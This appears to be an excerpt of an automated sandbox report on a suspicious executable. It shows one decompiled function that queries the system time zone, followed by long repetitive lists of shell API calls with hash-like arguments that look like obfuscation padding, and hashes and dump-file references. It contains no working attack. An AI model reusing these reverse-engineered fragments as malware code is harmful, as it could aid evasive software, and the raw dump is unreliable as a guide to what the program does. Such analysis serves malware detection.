Instruction Fuzzy Hash: C901FB75301221BBE7315F569D49E97BFACEF057A5B100061FA09E62A0D6758D10C6E4

Uniqueness

Uniqueness Score: -1.00%

Function 00414B8C Relevance: 6.0, APIs: 4, Instructions: 38
memorytimeCOMMON

Download Yara Rule

C-Code - Quality: 89%

			E00414B8C(intOrPtr* _a4) {
				struct _TIME_ZONE_INFORMATION _v176;
				void* _t6;
				void* _t7;
				void* _t19;
				intOrPtr* _t20;

				GetTimeZoneInformation( &_v176); // executed
				_t6 = LocalAlloc(0x40, 0x400);
				_t17 =  ~(_v176.Bias);
				_t19 = _t6;
				_push( ~(_v176.Bias));
				_t7 = 0x2b;
				_t14 =  >  ? _t7 : 0;
				wsprintfW(_t19,  *0x423380,  >  ? _t7 : 0);
				_t20 = _a4;
				 *_t20 = E0041AD76( *_t20, _t19, _t17);
				LocalFree(_t19);
				return 1;
			}

0x00414b9e
0x00414bab
0x00414bb9
0x00414bbb
0x00414bbd
0x00414bc0
0x00414bc3
0x00414bce
0x00414bd4
0x00414be4
0x00414be6
0x00414bf2

APIs

GetTimeZoneInformation.KERNELBASE(?,00000000,00000001), ref: 00414B9E
LocalAlloc.KERNEL32(00000040,00000400), ref: 00414BAB
wsprintfW.USER32 ref: 00414BCE

Part of subcall function 0041AD76: RealDriveType.SHELL32(DB4B90B6,00000000), ref: 0041AD91
Part of subcall function 0041AD76: RealDriveType.SHELL32(F6C33797,00000000), ref: 0041AD9A
Part of subcall function 0041AD76: RealDriveType.SHELL32(B4FED3B4,00000000), ref: 0041ADA3
Part of subcall function 0041AD76: RealDriveType.SHELL32(E053CF6F,00000000), ref: 0041ADAC
Part of subcall function 0041AD76: RealDriveType.SHELL32(9F1C7DF3,00000000), ref: 0041ADB5
Part of subcall function 0041AD76: RealDriveType.SHELL32(798F4A1B,00000000), ref: 0041ADBE
Part of subcall function 0041AD76: RealDriveType.SHELL32(425CBB03,00000000), ref: 0041ADC7
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041ADD3
Part of subcall function 0041AD76: RealDriveType.SHELL32(EA97A208,00000000), ref: 0041ADDC
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041ADE6
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041ADEC
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041ADF2
Part of subcall function 0041AD76: RealDriveType.SHELL32(DF46B1FA,00000000), ref: 0041ADFB
Part of subcall function 0041AD76: RealDriveType.SHELL32(EC90E4E7,00000000), ref: 0041AE08
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE12
Part of subcall function 0041AD76: RealDriveType.SHELL32(50B39D8C,00000000), ref: 0041AE1B
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE25
Part of subcall function 0041AD76: RealDriveType.SHELL32(CE8B1640,00000000), ref: 0041AE2E
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE38
Part of subcall function 0041AD76: RealDriveType.SHELL32(01DAA5FB,00000000), ref: 0041AE41
Part of subcall function 0041AD76: RealDriveType.SHELL32(C79127D6,00000000), ref: 0041AE4E
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE58
Part of subcall function 0041AD76: RealDriveType.SHELL32(6B26D139,00000000), ref: 0041AE61
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE6B
Part of subcall function 0041AD76: RealDriveType.SHELL32(E9760AD3,00000000), ref: 0041AE74
Part of subcall function 0041AD76: RealDriveType.SHELL32(2BEFB636,00000000), ref: 0041AE81
Part of subcall function 0041AD76: RealDriveType.SHELL32(04751878,00000000), ref: 0041AE8E
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE98
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE9E

LocalFree.KERNEL32(00000000), ref: 00414BE6

Memory Dump Source

Source File: 00000003.00000002.264339617.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.264331177.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264363170.0000000000420000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264369046.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264375615.0000000000424000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_AppLaunch.jbxd

Similarity

API ID: DriveRealType$PathSlow$Local$AllocFreeInformationTimeZonewsprintf
String ID:
API String ID: 2469406099-0
Opcode ID: e1692728cf0e3bf042e6e70f867cfdcca8568fcd90161120257284e0d1a66f63
Instruction ID: f4ac8b6255655be40ee03cf19136d4ba3a92ffbb9534b638c8ef719dd452af51
Opcode Fuzzy Hash: e1692728cf0e3bf042e6e70f867cfdcca8568fcd90161120257284e0d1a66f63
Instruction Fuzzy Hash: E6F09671700200BFE720AF64EC09E6BB7B9EF85B11F508429FA46D7154DA789A428669

Uniqueness

Uniqueness Score: -1.00%

Function 0040897B Relevance: 7855.4, APIs: 4475, Strings: 6, Instructions: 13659
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RealDriveType.SHELL32(20B0F4F8,00000000), ref: 0040898B
PathIsSlowW.SHELL32(00000000,00000000), ref: 00408995
PathIsSlowW.SHELL32(00000000,00000000), ref: 004089A5
RealDriveType.SHELL32(02F1CE2E,00000000), ref: 004089B5
RealDriveType.SHELL32(FB788158,00000000), ref: 004089BD
RealDriveType.SHELL32(910256DA,00000000), ref: 004089C5
RealDriveType.SHELL32(4708579B,00000000), ref: 004089CD
RealDriveType.SHELL32(EB413A65,00000000), ref: 004089D5
PathIsSlowW.SHELL32(00000000,00000000), ref: 004089D9
PathIsSlowW.SHELL32(00000000,00000000), ref: 004089DD
PathIsSlowW.SHELL32(00000000,00000000), ref: 004089E1
PathIsSlowW.SHELL32(00000000,00000000), ref: 004089E5
PathIsSlowW.SHELL32(00000000,00000000), ref: 004089E9
PathIsSlowW.SHELL32(00000000,00000000), ref: 004089ED
PathIsSlowW.SHELL32(00000000,00000000), ref: 004089F1
PathIsSlowW.SHELL32(00000000,00000000), ref: 004089F5
PathIsSlowW.SHELL32(00000000,00000000), ref: 004089F9
PathIsSlowW.SHELL32(00000000,00000000), ref: 004089FD
RealDriveType.SHELL32(E28614D0,00000000), ref: 00408A05
PathIsSlowW.SHELL32(00000000,00000000), ref: 00408A09
RealDriveType.SHELL32(05CF0FC4,00000000), ref: 00408A11
PathIsSlowW.SHELL32(00000000,00000000), ref: 00408A15
PathIsSlowW.SHELL32(00000000,00000000), ref: 00408A19
RealDriveType.SHELL32(BAD5FADF,00000000), ref: 00408A21
PathIsSlowW.SHELL32(00000000,00000000), ref: 00408A25
PathIsSlowW.SHELL32(00000000,00000000), ref: 00408A29
RealDriveType.SHELL32(3EDA4F32,00000000), ref: 00408A31
PathIsSlowW.SHELL32(00000000,00000000), ref: 00408A35
RealDriveType.SHELL32(21F18A29,00000000), ref: 00408A3D
PathIsSlowW.SHELL32(00000000,00000000), ref: 00408A41
RealDriveType.SHELL32(B2D3125F,00000000), ref: 00408A49
RealDriveType.SHELL32(7E0E3721,00000000), ref: 00408A51
PathIsSlowW.SHELL32(00000000,00000000), ref: 00408A55
RealDriveType.SHELL32(41915D31,00000000), ref: 00408A5D
PathIsSlowW.SHELL32(00000000,00000000), ref: 00408A61
PathIsSlowW.SHELL32(00000000,00000000), ref: 00408A65
RealDriveType.SHELL32(EBB5E277,00000000), ref: 00408A6D
RealDriveType.SHELL32(A39F1483,00000000), ref: 00408A75
PathIsSlowW.SHELL32(00000000,00000000), ref: 00408A79
PathIsSlowW.SHELL32(00000000,00000000), ref: 00408A7D
RealDriveType.SHELL32(1A771203,00000000), ref: 00408A85
RealDriveType.SHELL32(10BC1AF7,00000000), ref: 00408A8D
RealDriveType.SHELL32(6C4C29CE,00000000), ref: 00408A95
PathIsSlowW.SHELL32(00000000,00000000), ref: 00408A99
PathIsSlowW.SHELL32(00000000,00000000), ref: 00408A9D
PathIsSlowW.SHELL32(00000000,00000000), ref: 00408AA1
RealDriveType.SHELL32(D45E88D4,00000000), ref: 00408AA9
RealDriveType.SHELL32(7CEB1D18,00000000), ref: 00408AB1
PathIsSlowW.SHELL32(00000000,00000000), ref: 00408AB5
PathIsSlowW.SHELL32(00000000,00000000), ref: 00408AB9
RealDriveType.SHELL32(557CDA33,00000000), ref: 00408AC1
PathIsSlowW.SHELL32(00000000,00000000), ref: 00408AC5
PathIsSlowW.SHELL32(00000000,00000000), ref: 00408AC9
RealDriveType.SHELL32(D18C6019,00000000), ref: 00408AD1
RealDriveType.SHELL32(15DCE8B9,00000000), ref: 00408AD9
RealDriveType.SHELL32(AAF20651,00000000), ref: 00408AE1
RealDriveType.SHELL32(D1594F91,00000000), ref: 00408AE9
RealDriveType.SHELL32(85D0E3A6,00000000), ref: 00408AF1
PathIsSlowW.SHELL32(00000000,00000000), ref: 00408AF5
PathIsSlowW.SHELL32(00000000,00000000), ref: 00408AF9
RealDriveType.SHELL32(B6D6A54D,00000000), ref: 00408B01
PathIsSlowW.SHELL32(00000000,00000000), ref: 00408B05
PathIsSlowW.SHELL32(00000000,00000000), ref: 00408B09
RealDriveType.SHELL32(F8A08C79,00000000), ref: 00408B11
RealDriveType.SHELL32(37061B1B,00000000), ref: 00408B19
RealDriveType.SHELL32(53E09557,00000000), ref: 00408B21
PathIsSlowW.SHELL32(00000000,00000000), ref: 00408B25
PathIsSlowW.SHELL32(00000000,00000000), ref: 00408B29
RealDriveType.SHELL32(FE009009,00000000), ref: 00408B31
RealDriveType.SHELL32(CD690A1F,00000000), ref: 00408B39
RealDriveType.SHELL32(F95A755A,00000000), ref: 00408B41
RealDriveType.SHELL32(C9F28FDA,00000000), ref: 00408B49
RealDriveType.SHELL32(AE388E63,00000000), ref: 00408B51
PathIsSlowW.SHELL32(00000000,00000000), ref: 00408B55
PathIsSlowW.SHELL32(00000000,00000000), ref: 00408B59
RealDriveType.SHELL32(E3786A5B,00000000), ref: 00408B61
RealDriveType.SHELL32(B2AFC850,00000000), ref: 00408B69
RealDriveType.SHELL32(511BF0E1,00000000), ref: 00408B71
PathIsSlowW.SHELL32(00000000,00000000), ref: 00408B75
RealDriveType.SHELL32(D453DF93,00000000), ref: 00408B7D
RealDriveType.SHELL32(8B875135,00000000), ref: 00408B85
RealDriveType.SHELL32(4B58EB13,00000000), ref: 00408B8D
RealDriveType.SHELL32(1AF0CC9C,00000000), ref: 00408B95
RealDriveType.SHELL32(82331539,00000000), ref: 00408B9D
PathIsSlowW.SHELL32(00000000,00000000), ref: 00408BA1
RealDriveType.SHELL32(152FE17F,00000000), ref: 00408BA9
RealDriveType.SHELL32(ABB5DE3B,00000000), ref: 00408BB1
RealDriveType.SHELL32(E226786C,00000000), ref: 00408BB9
PathIsSlowW.SHELL32(00000000,00000000), ref: 00408BBD
RealDriveType.SHELL32(0F0B165F,00000000), ref: 00408BC5
RealDriveType.SHELL32(B5D39AEA,00000000), ref: 00408BCD
PathIsSlowW.SHELL32(00000000,00000000), ref: 00408BD1
RealDriveType.SHELL32(CA84DFDC,00000000), ref: 00408BD9
RealDriveType.SHELL32(F17A846D,00000000), ref: 00408BE1
PathIsSlowW.SHELL32(00000000,00000000), ref: 00408BE5
PathIsSlowW.SHELL32(00000000,00000000), ref: 00408BE9
PathIsSlowW.SHELL32(00000000,00000000), ref: 00408BED
RealDriveType.SHELL32(3EB33358,00000000), ref: 00408BF5
PathIsSlowW.SHELL32(00000000,00000000), ref: 00408BF9
PathIsSlowW.SHELL32(00000000,00000000), ref: 00408BFD
RealDriveType.SHELL32(EF2E5ECE,00000000), ref: 00408C05
PathIsSlowW.SHELL32(00000000,00000000), ref: 00408C09
RealDriveType.SHELL32(02A18702,00000000), ref: 00408C11
PathIsSlowW.SHELL32(00000000,00000000), ref: 00408C15
PathIsSlowW.SHELL32(00000000,00000000), ref: 00408C19
PathIsSlowW.SHELL32(00000000,00000000), ref: 00408C1D
RealDriveType.SHELL32(736F9672,00000000), ref: 00408C25
PathIsSlowW.SHELL32(00000000,00000000), ref: 00408C29
RealDriveType.SHELL32(B561A124,00000000), ref: 00408C31
PathIsSlowW.SHELL32(00000000,00000000), ref: 00408C35
PathIsSlowW.SHELL32(00000000,00000000), ref: 00408C39
RealDriveType.SHELL32(03A3211E,00000000), ref: 00408C41
RealDriveType.SHELL32(93848ACF,00000000), ref: 00408C49
PathIsSlowW.SHELL32(00000000,00000000), ref: 00408C4D
PathIsSlowW.SHELL32(00000000,00000000), ref: 00408C51
PathIsSlowW.SHELL32(00000000,00000000), ref: 00408C55
RealDriveType.SHELL32(51EEB4B4,00000000), ref: 00408C5D
PathIsSlowW.SHELL32(00000000,00000000), ref: 00408C61
PathIsSlowW.SHELL32(00000000,00000000), ref: 00408C65
RealDriveType.SHELL32(ACBD232E,00000000), ref: 00408C6D
RealDriveType.SHELL32(5737B463,00000000), ref: 00408C75
RealDriveType.SHELL32(4CF7DE82,00000000), ref: 00408C7D
RealDriveType.SHELL32(A574DB7B,00000000), ref: 00408C85
PathIsSlowW.SHELL32(00000000,00000000), ref: 00408C89
RealDriveType.SHELL32(6007EAC1,00000000), ref: 00408C91
PathIsSlowW.SHELL32(00000000,00000000), ref: 00408C95
RealDriveType.SHELL32(74A95B44,00000000), ref: 00408C9D
PathIsSlowW.SHELL32(00000000,00000000), ref: 00408CA1
RealDriveType.SHELL32(7A6273F8,00000000), ref: 00408CA9
PathIsSlowW.SHELL32(00000000,00000000), ref: 00408CAD
RealDriveType.SHELL32(02A72A7F,00000000), ref: 00408CB5
PathIsSlowW.SHELL32(00000000,00000000), ref: 00408CB9
PathIsSlowW.SHELL32(00000000,00000000), ref: 00408CBD
RealDriveType.SHELL32(F351B2DC,00000000), ref: 00408CC5
PathIsSlowW.SHELL32(00000000,00000000), ref: 00408CC9
PathIsSlowW.SHELL32(00000000,00000000), ref: 00408CCD
RealDriveType.SHELL32(478D7466,00000000), ref: 00408CD5
RealDriveType.SHELL32(28E45C5A,00000000), ref: 00408CDD
PathIsSlowW.SHELL32(00000000,00000000), ref: 00408CE1
RealDriveType.SHELL32(DBC1B65D,00000000), ref: 00408CE9
RealDriveType.SHELL32(F6160D1B,00000000), ref: 00408CF1
RealDriveType.SHELL32(E3B66534,00000000), ref: 00408CF9
PathIsSlowW.SHELL32(00000000,00000000), ref: 00408CFD
RealDriveType.SHELL32(DFCE4837,00000000), ref: 00408D05
PathIsSlowW.SHELL32(00000000,00000000), ref: 00408D09
PathIsSlowW.SHELL32(00000000,00000000), ref: 00408D0D
PathIsSlowW.SHELL32(00000000,00000000), ref: 00408D11
RealDriveType.SHELL32(1209B6F6,00000000), ref: 00408D19
RealDriveType.SHELL32(53304806,00000000), ref: 00408D21
PathIsSlowW.SHELL32(00000000,00000000), ref: 00408D25
RealDriveType.SHELL32(2C680CA3,00000000), ref: 00408D2D
RealDriveType.SHELL32(8972C2F9,00000000), ref: 00408D35
RealDriveType.SHELL32(C4F3E606,00000000), ref: 00408D3D
RealDriveType.SHELL32(5954011C,00000000), ref: 00408D45
RealDriveType.SHELL32(884C0809,00000000), ref: 00408D4D
RealDriveType.SHELL32(8E1AEC3E,00000000), ref: 00408D55
RealDriveType.SHELL32(397D8775,00000000), ref: 00408D5D
RealDriveType.SHELL32(ED8ED45A,00000000), ref: 00408D65
RealDriveType.SHELL32(2D150301,00000000), ref: 00408D6D
PathIsSlowW.SHELL32(00000000,00000000), ref: 00408D71
PathIsSlowW.SHELL32(00000000,00000000), ref: 00408D75
RealDriveType.SHELL32(AD3619ED,00000000), ref: 00408D7D
PathIsSlowW.SHELL32(00000000,00000000), ref: 00408D81
PathIsSlowW.SHELL32(00000000,00000000), ref: 00408D85
RealDriveType.SHELL32(93F8B1F4,00000000), ref: 00408D8D
PathIsSlowW.SHELL32(00000000,00000000), ref: 00408D91
RealDriveType.SHELL32(557D6336,00000000), ref: 00408D99
PathIsSlowW.SHELL32(00000000,00000000), ref: 00408D9D
RealDriveType.SHELL32(BB1875C1,00000000), ref: 00408DA5
PathIsSlowW.SHELL32(00000000,00000000), ref: 00408DA9
RealDriveType.SHELL32(D301A47D,00000000), ref: 00408DB1
PathIsSlowW.SHELL32(00000000,00000000), ref: 00408DB5
PathIsSlowW.SHELL32(00000000,00000000), ref: 00408DB9
RealDriveType.SHELL32(4FD174FB,00000000), ref: 00408DC1
PathIsSlowW.SHELL32(00000000,00000000), ref: 00408DC5
RealDriveType.SHELL32(66BB2CDB,00000000), ref: 00408DCD
RealDriveType.SHELL32(9891C6A2,00000000), ref: 00408DD5
PathIsSlowW.SHELL32(00000000,00000000), ref: 00408DD9
RealDriveType.SHELL32(DFA0B1A2,00000000), ref: 00408DE1
PathIsSlowW.SHELL32(00000000,00000000), ref: 00408DE5
PathIsSlowW.SHELL32(00000000,00000000), ref: 00408DE9
PathIsSlowW.SHELL32(00000000,00000000), ref: 00408DED
RealDriveType.SHELL32(2A0816B5,00000000), ref: 00408DF5
RealDriveType.SHELL32(15C2154A,00000000), ref: 00408DFD
PathIsSlowW.SHELL32(00000000,00000000), ref: 00408E01
RealDriveType.SHELL32(7E26E993,00000000), ref: 00408E09
RealDriveType.SHELL32(36B2FA50,00000000), ref: 00408E11
PathIsSlowW.SHELL32(00000000,00000000), ref: 00408E15
RealDriveType.SHELL32(67535BAF,00000000), ref: 00408E1D
PathIsSlowW.SHELL32(00000000,00000000), ref: 00408E21
RealDriveType.SHELL32(7B8673FC,00000000), ref: 00408E29
PathIsSlowW.SHELL32(00000000,00000000), ref: 00408E2D
PathIsSlowW.SHELL32(00000000,00000000), ref: 00408E31
PathIsSlowW.SHELL32(00000000,00000000), ref: 00408E35
RealDriveType.SHELL32(7FC4EFB4,00000000), ref: 00408E3D
RealDriveType.SHELL32(1C18D895,00000000), ref: 00408E45
PathIsSlowW.SHELL32(00000000,00000000), ref: 00408E49
RealDriveType.SHELL32(97CC72A5,00000000), ref: 00408E51
PathIsSlowW.SHELL32(00000000,00000000), ref: 00408E55
RealDriveType.SHELL32(100BEFE3,00000000), ref: 00408E5D
RealDriveType.SHELL32(9B798C8F,00000000), ref: 00408E65
PathIsSlowW.SHELL32(00000000,00000000), ref: 00408E69
RealDriveType.SHELL32(344287FC,00000000), ref: 00408E71
RealDriveType.SHELL32(71A0C318,00000000), ref: 00408E79
RealDriveType.SHELL32(6837D8DB,00000000), ref: 00408E81
PathIsSlowW.SHELL32(00000000,00000000), ref: 00408E85
PathIsSlowW.SHELL32(00000000,00000000), ref: 00408E89
PathIsSlowW.SHELL32(00000000,00000000), ref: 00408E8D
PathIsSlowW.SHELL32(00000000,00000000), ref: 00408E91
RealDriveType.SHELL32(CB362E76,00000000), ref: 00408E99
RealDriveType.SHELL32(4D681FED,00000000), ref: 00408EA1
RealDriveType.SHELL32(C265FEE4,00000000), ref: 00408EA9
PathIsSlowW.SHELL32(00000000,00000000), ref: 00408EAD
PathIsSlowW.SHELL32(00000000,00000000), ref: 00408EB1
PathIsSlowW.SHELL32(00000000,00000000), ref: 00408EB5
RealDriveType.SHELL32(B4E9BB73,00000000), ref: 00408EBD
PathIsSlowW.SHELL32(00000000,00000000), ref: 00408EC1
RealDriveType.SHELL32(2C67B68C,00000000), ref: 00408EC9
PathIsSlowW.SHELL32(00000000,00000000), ref: 00408ECD
PathIsSlowW.SHELL32(00000000,00000000), ref: 00408ED1
PathIsSlowW.SHELL32(00000000,00000000), ref: 00408ED5
PathIsSlowW.SHELL32(00000000,00000000), ref: 00408ED9
RealDriveType.SHELL32(AD99705E,00000000), ref: 00408EE1
PathIsSlowW.SHELL32(00000000,00000000), ref: 00408EE5
RealDriveType.SHELL32(C5C2C720,00000000), ref: 00408EED
RealDriveType.SHELL32(158EE838,00000000), ref: 00408EF5
RealDriveType.SHELL32(20996602,00000000), ref: 00408EFD
PathIsSlowW.SHELL32(00000000,00000000), ref: 00408F01
PathIsSlowW.SHELL32(00000000,00000000), ref: 00408F05
PathIsSlowW.SHELL32(00000000,00000000), ref: 00408F09
RealDriveType.SHELL32(BF4B6D82,00000000), ref: 00408F11
PathIsSlowW.SHELL32(00000000,00000000), ref: 00408F15
RealDriveType.SHELL32(8F4CB24E,00000000), ref: 00408F1D
RealDriveType.SHELL32(6C1054F6,00000000), ref: 00408F25
RealDriveType.SHELL32(7B18962F,00000000), ref: 00408F2D
RealDriveType.SHELL32(7E7F8655,00000000), ref: 00408F35
RealDriveType.SHELL32(90773DE2,00000000), ref: 00408F3D
PathIsSlowW.SHELL32(00000000,00000000), ref: 00408F41
PathIsSlowW.SHELL32(00000000,00000000), ref: 00408F45
PathIsSlowW.SHELL32(00000000,00000000), ref: 00408F49
RealDriveType.SHELL32(8CD8CF29,00000000), ref: 00408F51
RealDriveType.SHELL32(38AFF7B7,00000000), ref: 00408F59
PathIsSlowW.SHELL32(00000000,00000000), ref: 00408F5D
PathIsSlowW.SHELL32(00000000,00000000), ref: 00408F61
PathIsSlowW.SHELL32(00000000,00000000), ref: 00408F65
PathIsSlowW.SHELL32(00000000,00000000), ref: 00408F69
RealDriveType.SHELL32(31AD833C,00000000), ref: 00408F71
RealDriveType.SHELL32(90E26A0F,00000000), ref: 00408F79
RealDriveType.SHELL32(778A5D07,00000000), ref: 00408F81
RealDriveType.SHELL32(6E0310DB,00000000), ref: 00408F89
RealDriveType.SHELL32(B07BCECD,00000000), ref: 00408F91
PathIsSlowW.SHELL32(00000000,00000000), ref: 00408F95
RealDriveType.SHELL32(1AFDFDBD,00000000), ref: 00408F9D
RealDriveType.SHELL32(80D70B21,00000000), ref: 00408FA5
RealDriveType.SHELL32(480F39F1,00000000), ref: 00408FAD
PathIsSlowW.SHELL32(00000000,00000000), ref: 00408FB1
PathIsSlowW.SHELL32(00000000,00000000), ref: 00408FB5
RealDriveType.SHELL32(3F5F3EC4,00000000), ref: 00408FBD
PathIsSlowW.SHELL32(00000000,00000000), ref: 00408FC1
RealDriveType.SHELL32(A87560E7,00000000), ref: 00408FC9
RealDriveType.SHELL32(E315EB4E,00000000), ref: 00408FD1
PathIsSlowW.SHELL32(00000000,00000000), ref: 00408FD5
RealDriveType.SHELL32(8246127A,00000000), ref: 00408FDD
PathIsSlowW.SHELL32(00000000,00000000), ref: 00408FE1
PathIsSlowW.SHELL32(00000000,00000000), ref: 00408FE5
RealDriveType.SHELL32(44665B6B,00000000), ref: 00408FED
RealDriveType.SHELL32(E54018CA,00000000), ref: 00408FF5
RealDriveType.SHELL32(BD6E51C5,00000000), ref: 00408FFD
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409001
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409005
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409009
RealDriveType.SHELL32(B3521805,00000000), ref: 00409011
RealDriveType.SHELL32(41CF12B4,00000000), ref: 00409019
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040901D
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409021
RealDriveType.SHELL32(5C9863A3,00000000), ref: 00409029
RealDriveType.SHELL32(E2570770,00000000), ref: 00409031
RealDriveType.SHELL32(ECC62500,00000000), ref: 00409039
RealDriveType.SHELL32(684A7E49,00000000), ref: 00409041
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409045
RealDriveType.SHELL32(34288778,00000000), ref: 0040904D
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409051
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409055
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409059
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040905D
RealDriveType.SHELL32(BFFC7A84,00000000), ref: 00409065
RealDriveType.SHELL32(E67B116C,00000000), ref: 0040906D
RealDriveType.SHELL32(152EC7D2,00000000), ref: 00409075
RealDriveType.SHELL32(8A42DE68,00000000), ref: 0040907D
RealDriveType.SHELL32(03DF8F78,00000000), ref: 00409085
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409089
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040908D
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409091
RealDriveType.SHELL32(375D7311,00000000), ref: 00409099
RealDriveType.SHELL32(C2592035,00000000), ref: 004090A1
RealDriveType.SHELL32(443419C7,00000000), ref: 004090A9
PathIsSlowW.SHELL32(00000000,00000000), ref: 004090AD
PathIsSlowW.SHELL32(00000000,00000000), ref: 004090B1
PathIsSlowW.SHELL32(00000000,00000000), ref: 004090B5
RealDriveType.SHELL32(52DC9F0C,00000000), ref: 004090BD
PathIsSlowW.SHELL32(00000000,00000000), ref: 004090C1
PathIsSlowW.SHELL32(00000000,00000000), ref: 004090C5
RealDriveType.SHELL32(4E151377,00000000), ref: 004090CD
RealDriveType.SHELL32(E16E84B2,00000000), ref: 004090D5
PathIsSlowW.SHELL32(00000000,00000000), ref: 004090D9
PathIsSlowW.SHELL32(00000000,00000000), ref: 004090DD
PathIsSlowW.SHELL32(00000000,00000000), ref: 004090E1
RealDriveType.SHELL32(9973767A,00000000), ref: 004090E9
RealDriveType.SHELL32(A09B048C,00000000), ref: 004090F1
RealDriveType.SHELL32(BAC05F56,00000000), ref: 004090F9
PathIsSlowW.SHELL32(00000000,00000000), ref: 004090FD
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409101
RealDriveType.SHELL32(FA722AAC,00000000), ref: 00409109
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040910D
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409111
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409115
RealDriveType.SHELL32(4C7F4E89,00000000), ref: 0040911D
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409121
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409125
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409129
RealDriveType.SHELL32(81C57AC6,00000000), ref: 00409131
RealDriveType.SHELL32(A01AAC70,00000000), ref: 00409139
RealDriveType.SHELL32(437611D4,00000000), ref: 00409141
RealDriveType.SHELL32(5BC2171D,00000000), ref: 00409149
RealDriveType.SHELL32(89535C02,00000000), ref: 00409151
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409155
RealDriveType.SHELL32(28CDEDD4,00000000), ref: 0040915D
RealDriveType.SHELL32(EABA34B0,00000000), ref: 00409165
RealDriveType.SHELL32(F7F8A85D,00000000), ref: 0040916D
RealDriveType.SHELL32(8521FA39,00000000), ref: 00409175
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409179
RealDriveType.SHELL32(08EFB3D2,00000000), ref: 00409181
RealDriveType.SHELL32(40767FB7,00000000), ref: 00409189
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040918D
RealDriveType.SHELL32(DA068462,00000000), ref: 00409195
RealDriveType.SHELL32(F9997C17,00000000), ref: 0040919D
PathIsSlowW.SHELL32(00000000,00000000), ref: 004091A1
RealDriveType.SHELL32(1B22F06B,00000000), ref: 004091A9
RealDriveType.SHELL32(75D8B58D,00000000), ref: 004091B1
PathIsSlowW.SHELL32(00000000,00000000), ref: 004091B5
PathIsSlowW.SHELL32(00000000,00000000), ref: 004091B9
PathIsSlowW.SHELL32(00000000,00000000), ref: 004091BD
PathIsSlowW.SHELL32(00000000,00000000), ref: 004091C1
RealDriveType.SHELL32(B13E055C,00000000), ref: 004091C9
RealDriveType.SHELL32(3FB1772D,00000000), ref: 004091D1
RealDriveType.SHELL32(585F349A,00000000), ref: 004091D9
RealDriveType.SHELL32(E5A42A11,00000000), ref: 004091E1
RealDriveType.SHELL32(BC2E88F2,00000000), ref: 004091E9
PathIsSlowW.SHELL32(00000000,00000000), ref: 004091ED
PathIsSlowW.SHELL32(00000000,00000000), ref: 004091F1
RealDriveType.SHELL32(3C95556D,00000000), ref: 004091F9
RealDriveType.SHELL32(B544E3C9,00000000), ref: 00409201
RealDriveType.SHELL32(3C178676,00000000), ref: 00409209
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040920D
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409211
RealDriveType.SHELL32(D4498C0F,00000000), ref: 00409219
RealDriveType.SHELL32(F6A0637D,00000000), ref: 00409221
RealDriveType.SHELL32(A82291DC,00000000), ref: 00409229
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040922D
RealDriveType.SHELL32(D54128DE,00000000), ref: 00409235
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409239
RealDriveType.SHELL32(61D500CC,00000000), ref: 00409241
RealDriveType.SHELL32(EFDD9FA6,00000000), ref: 00409249
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040924D
RealDriveType.SHELL32(1A9C50BE,00000000), ref: 00409255
RealDriveType.SHELL32(B3E12CBA,00000000), ref: 0040925D
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409261
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409265
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409269
RealDriveType.SHELL32(C4A17809,00000000), ref: 00409271
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409275
RealDriveType.SHELL32(713CBECA,00000000), ref: 0040927D
RealDriveType.SHELL32(A4CDDA9B,00000000), ref: 00409285
RealDriveType.SHELL32(5A867088,00000000), ref: 0040928D
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409291
PathIsSlowW.SHELL32(00000000,00000000), ref: 00409295
